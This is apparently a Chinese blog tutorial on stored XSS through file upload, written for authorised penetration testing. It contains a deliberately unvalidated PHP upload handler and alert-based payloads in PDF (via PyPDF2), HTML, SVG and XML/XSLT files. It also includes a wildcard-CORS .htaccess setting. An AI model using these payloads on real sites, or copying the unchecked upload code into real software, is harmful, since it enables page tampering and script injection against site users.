当前位置: 首页 > news >正文

文件上传js代码

大家好,很久没更新了,今天空了,记录一下文件上传js代码。(自己搭建的网站,演示学习一下这种漏洞,不要做违法的事情!!!)

一般文件上传的话都是奔着getshell去的,但是一般像作者这种小白,很难去突破文件上传的限制,因为这种一旦被成功利用,攻击者将会直接拿到服务器权限。

但是针对于我们拿到网站授权,为我们的服务对象做渗透测试的时候,我们是不是可以有一些其他简单文件上传的思路,不能白白浪费这个功能点嘛~

  接下来我会用phpstudy起一个网页,来模拟一个文件上传点,针对文件上传列出可以改变页面内容的文件上传漏洞。

文件上传代码

首页

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>File Upload</title>
</head>
<body><h1>Upload a File</h1><form action="upload.php" method="post" enctype="multipart/form-data"><input type="file" name="fileToUpload" id="fileToUpload"><button type="submit" name="submit">Upload</button></form><div id="result"></div>
</body>
</html>

上传功能

<?php
$target_dir = "uploads/";  // 定义上传文件的目标目录
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);  // 构建目标文件的完整路径// 确保上传目录存在
if (!is_dir($target_dir)) {mkdir($target_dir, 0777, true);
}// 尝试上传文件
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {// 如果文件上传成功,显示成功消息和文件访问链接echo "The file " . htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded. <a href=\"" . $target_file . "\">Click here to view the file</a>";
} else {// 如果文件上传失败,显示错误消息echo "Sorry, there was an error uploading your file.";
}
?>

有很多后缀文件都能执行xss,但我觉得本质就是,不管什么后缀,只要能执行js代码,就成!!!

弹框只是js代码的一种写法,有很多利用的写法,明显一点的,从外部服务器加载个图片,改变网站标题

那它这个网页原本内容不就被我们篡改了吗,我们可以控制网页内容。

下面我们整几个最简单的例子来展示一下执行js代码

第一种pdf后缀的

迅捷办公 - 提供专业的办公应用软件及技术服务

第一步新建空白页,

第二步右小角点击选项,选择文档属性

第三步javascript,添加js代码就行。

app.alert(xss);

有水印~

所以用另一种,我们这里用python 的PyPDF2库

from PyPDF2 import PdfWriter# 创建一个新的PDF文件
new_pdf = PdfWriter()# 添加一个空白页(可选)
new_pdf.add_blank_page(width=600, height=700)# 写入JavaScript代码
new_pdf.add_js("app.alert('xss');")# 将PDF写入文件
with open("xss.pdf", "wb") as f:result = new_pdf.write(f)if result:print("包含JavaScript的PDF文件已创建: xss.pdf")else:print("创建PDF文件失败")

运行完会在当前目录生成一个xss.pdf

第二个html后缀

这个大家都知道用script嵌入js代码

<!DOCTYPE html>
<html>
<head><title>xss</title>
</head>
<body><!-- 直接嵌入的XSS代码 --><script>alert('xss');</script>
</body>
</html>

第三个svg后缀

<svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" onload="init()"><rect id="myRect" x="50" y="50" width="100" height="100" fill="blue"/><script type="text/javascript">function init() {alert('XSS');}</script>
</svg>

第四个xml文件

 这个可以跨域引用,只需要上传引用xslt文档的那个xml文件就行,我们这里用的phpstudy搭的服务器

中间件使用的apache,打开模块headers_module

也就httpd.conf中的这一行不要注释就行LoadModule headers_module modules/mod_headers.so 

还有AllowOverride要配置成ALL (允许所有可用的 .htaccess 指令,相当于一步到位,不然还得针对不同的需求进行选择类型)

所以在网站根目录配置.htaccess文件,来允许跨域。

允许跨域,以下配置的含义是允许任何域发起的请求都可以获取当前服务器的数据

# 设置CORS相关头部
<IfModule mod_headers.c># 允许任何源进行跨域请求Header set Access-Control-Allow-Origin "*"# 设置允许的HTTP方法Header set Access-Control-Allow-Methods "POST, GET, OPTIONS, DELETE, PUT"# 设置预检请求的有效期Header set Access-Control-Max-Age "1000"# 设置允许的请求头Header set Access-Control-Allow-Headers "Origin, Accept, Range, Key, Content-Length, X-Requested-With, Content-Type, Authorization, Client-Security-Token"
</IfModule>

测试是否支持跨域:curl 域名/ip -H "Origin: https://baidu.com" -I

我们phpstudy开了允许跨域,所以放置需要被引用的xml文件,我们随便找一台网络互通的机器,用另一个phpstudy或者lnmp lamp环境,放一个引用需要被引用的文件,也就是1.2.xml。用火狐

ie有安全策略,一直显示拒绝,火狐可以弹

不涉及跨域的话,也就是符合同源策略,直接上传2个文件就行。

xml它需要上传2个文件 首先上传第一个xml文件, 然后再上传第二个xml文件

1.1.xml

<?xml version="1.0" encoding="iso-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html><body>
<script>alert(/xss/);</script>
</body></html>
</xsl:template>
</xsl:stylesheet>

这是一个XSLT(可扩展样式表语言转换)文档,它的作用是定义如何将一个XML文档转换成另一种格式的文档,在这个例子中是HTML文档。

1.2.xml

<?xml version="1.0" encoding="iso-8859-1"?>
<?xml-stylesheet type="text/xsl" href="http://192.168.130.239/uploads/1.1.xml"?>
<test></test>

 这是一个XML文档,它通过一个特殊的处理指令引用了一个外部的XSLT样式表。

后续还有几个后缀,等有空补上吧

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 华为认证HCIA篇--网络通信基础
  • JavaScript中if嵌套assert的方法
  • 【python append函数的一些细节】
  • 初步认识了解分布式系统
  • 货拉拉高级大数据平台算法工程师社招一面
  • 服务器数据恢复—SAN环境下LUN映射出错导致文件系统一致性出错的数据恢复案例
  • useCallback()
  • Linux安装vim超详细教程
  • Qt-QGroupBox容器类控件(39)
  • FortiGate 无线组网
  • Lucene 倒排索引原理详解:深入探讨相关算法设计
  • 精简解析:二叉树的遍历方法及其应用场景
  • 【TabBar嵌套Navigation案例-新特性页面-代码位置 Objective-C语言】
  • Git 撤销一个已经push到远端仓库的commit
  • 数据结构之栈和队列——LeetCode:150. 逆波兰表达式求值,224. 基本计算器,232. 用栈实现队列
  • 03Go 类型总结
  • 10个最佳ES6特性 ES7与ES8的特性
  • 2017-09-12 前端日报
  • Gradle 5.0 正式版发布
  • iOS编译提示和导航提示
  • Laravel 中的一个后期静态绑定
  • Linux学习笔记6-使用fdisk进行磁盘管理
  • markdown编辑器简评
  • Object.assign方法不能实现深复制
  • PHP 程序员也能做的 Java 开发 30分钟使用 netty 轻松打造一个高性能 websocket 服务...
  • python_bomb----数据类型总结
  • Spring Cloud中负载均衡器概览
  • webpack4 一点通
  • 基于web的全景—— Pannellum小试
  • 猫头鹰的深夜翻译:JDK9 NotNullOrElse方法
  • 如何编写一个可升级的智能合约
  • 使用API自动生成工具优化前端工作流
  • 提升用户体验的利器——使用Vue-Occupy实现占位效果
  • 延迟脚本的方式
  • 一些关于Rust在2019年的思考
  • MyCAT水平分库
  • mysql 慢查询分析工具:pt-query-digest 在mac 上的安装使用 ...
  • ​​​​​​​​​​​​​​汽车网络信息安全分析方法论
  • ​LeetCode解法汇总518. 零钱兑换 II
  • ​业务双活的数据切换思路设计(下)
  • ‌‌雅诗兰黛、‌‌兰蔻等美妆大品牌的营销策略是什么?
  • (02)Unity使用在线AI大模型(调用Python)
  • (14)Hive调优——合并小文件
  • (20)docke容器
  • (Java数据结构)ArrayList
  • (八)Docker网络跨主机通讯vxlan和vlan
  • (八)Flink Join 连接
  • (二)Kafka离线安装 - Zookeeper下载及安装
  • (附源码)springboot教学评价 毕业设计 641310
  • (含笔试题)深度解析数据在内存中的存储
  • (佳作)两轮平衡小车(原理图、PCB、程序源码、BOM等)
  • (三) diretfbrc详解
  • (生成器)yield与(迭代器)generator
  • (十八)三元表达式和列表解析
  • (图文详解)小程序AppID申请以及在Hbuilderx中运行